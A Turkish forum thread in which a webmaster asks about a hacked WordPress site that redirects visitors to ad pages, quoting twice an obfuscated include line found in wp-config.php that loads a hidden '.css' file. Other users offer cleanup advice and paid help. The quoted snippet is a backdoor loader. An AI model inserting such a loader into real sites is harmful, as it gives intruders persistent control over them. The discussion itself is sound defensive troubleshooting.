wp-config.php Virüs

Question

Merhaba. Bir müşterimin sitesine virüs bulaşmış durumda. Site adresini birine yazıp gönderdiğimde karşı taraf tıklayınca siteye girmiyor reklam sayfaları açılıyor. Bende wordfence kurup tarama yaptım. Sonrasında ise tek tek dosyalara bakarken bu kodu gördüm wp-config.php dosyasında. Çalışma mantığı nedir, buradan silmek yeterli olacak mı acaba? Teşekkürler

<?php
/*662b1*/

$r2hals = "/home1/y70w8pey/p&#92;x75blic_html/wp&#92;x2dincl&#92;x75des/js/crop/.58dae80f.css"; if (isset($r2hals)){ @include_once /* hfze */ ($r2hals); }

/*662b1*/

A.AY · Answer

işinizi garantiye almak isterseniz, orjinal wordpress indirin, içinden wp-config dosyasını alıp siteye atın db bilgilerinide ekleyin.
hatta bunu birçok dosyada yapabilirsiniz.

RakipsizHizmet · Answer

Veri tabani ve dosyalar dahil her yere bakmak lazim bu tarz kodlar sadece 1 dosyada olmuyor. 
Profesyonel destek almak isterseniz
https://www.r10.net/wordpress-seo-gu...emium-waf.html

Afra · Answer

A.AY adlı üyeden alıntı:						mesajı görüntüle									işinizi garantiye almak isterseniz, orjinal wordpress indirin, içinden wp-config dosyasını alıp siteye atın db bilgilerinide ekleyin.
hatta bunu birçok dosyada yapabilirsiniz. 		Bu işlemi yapmak benimde aklıma gelmişti fakat indirdiğim dosyalar içerisinde wp-config dosyası yok. wp-config-sample dosyası var.

by_error · Answer

Afra adlı üyeden alıntı: mesajı görüntüle

Bugün yaptığım taramada silinen bütün virüslerin geri geldiğini gördüm. Hostgator'dan almış olduğum sunucuda yapmış olduğum 15 adet site var.
Virüslerin hepsini temizledim fakat yeniden girmiş virüs.
Orjinal wp dosyalarını indirip virüs bulaşan dosyalar ile değiştirmiştim.
Ayrıca tüm şifreleri değiştirdim.
İşin içinden çıkamıyorum.

<?php
/*662b1*/

$r2hals = "/home1/y70w8pey/p&#92;x75blic_html/wp&#92;x2dincl&#92;x75des/js/crop/.58dae80f.css"; if (isset($r2hals)){ @include_once /* hfze */ ($r2hals); }

/*662b1*/ 		Merhaba yardımcı olabilirim,
https://wa.me/905517303223
Ulaşabilirsiniz,

Neron · Answer

Onu silmen yetersiz açık.

paollu · Answer

Kesinlikle yetersiz. Eklentilerde de olabilir.

Afra · Answer

Tüm eklentileri kaldırdım. Dosyalara tek tek bakıyorum. Virüs içerikli kodları nasıl tespit edeceğim bilemiyorum.

by_error · Answer

Afra adlı üyeden alıntı: mesajı görüntüle

Bugün yaptığım taramada silinen bütün virüslerin geri geldiğini gördüm. Hostgator'dan almış olduğum sunucuda yapmış olduğum 15 adet site var.
Virüslerin hepsini temizledim fakat yeniden girmiş virüs.
Orjinal wp dosyalarını indirip virüs bulaşan dosyalar ile değiştirmiştim.
Ayrıca tüm şifreleri değiştirdim.
İşin içinden çıkamıyorum.

Afra · Answer

by_error adlı üyeden alıntı:						mesajı görüntüle									size saatler öncesinden yardımcı olabilirim diye post attım ama dönüş yapmadınız başarılar dilerim. 		Evet attınız ilginiz için teşekkür ederim fakat bunu sizler gibi işi bilen kişilerin yönlendirmesiyle kendim yaparsam sorun tekrar başıma geldiğinde kimseye ihtiyaç duymadan yapabileyim diye öğrenmeye çalışıyorum.

Afra · Answer

Bugün yaptığım taramada silinen bütün virüslerin geri geldiğini gördüm. Hostgator'dan almış olduğum sunucuda yapmış olduğum 15 adet site var.
Virüslerin hepsini temizledim fakat yeniden girmiş virüs.
Orjinal wp dosyalarını indirip virüs bulaşan dosyalar ile değiştirmiştim.
Ayrıca tüm şifreleri değiştirdim.
İşin içinden çıkamıyorum.

by_error · Answer

Afra adlı üyeden alıntı:						mesajı görüntüle									Bugün yaptığım taramada silinen bütün virüslerin geri geldiğini gördüm. Hostgator'dan almış olduğum sunucuda yapmış olduğum 15 adet site var.
Virüslerin hepsini temizledim fakat yeniden girmiş virüs.
Orjinal wp dosyalarını indirip virüs bulaşan dosyalar ile değiştirmiştim.
Ayrıca tüm şifreleri değiştirdim.
İşin içinden çıkamıyorum.

Çözemiyorsunuz bırakında yardım edelim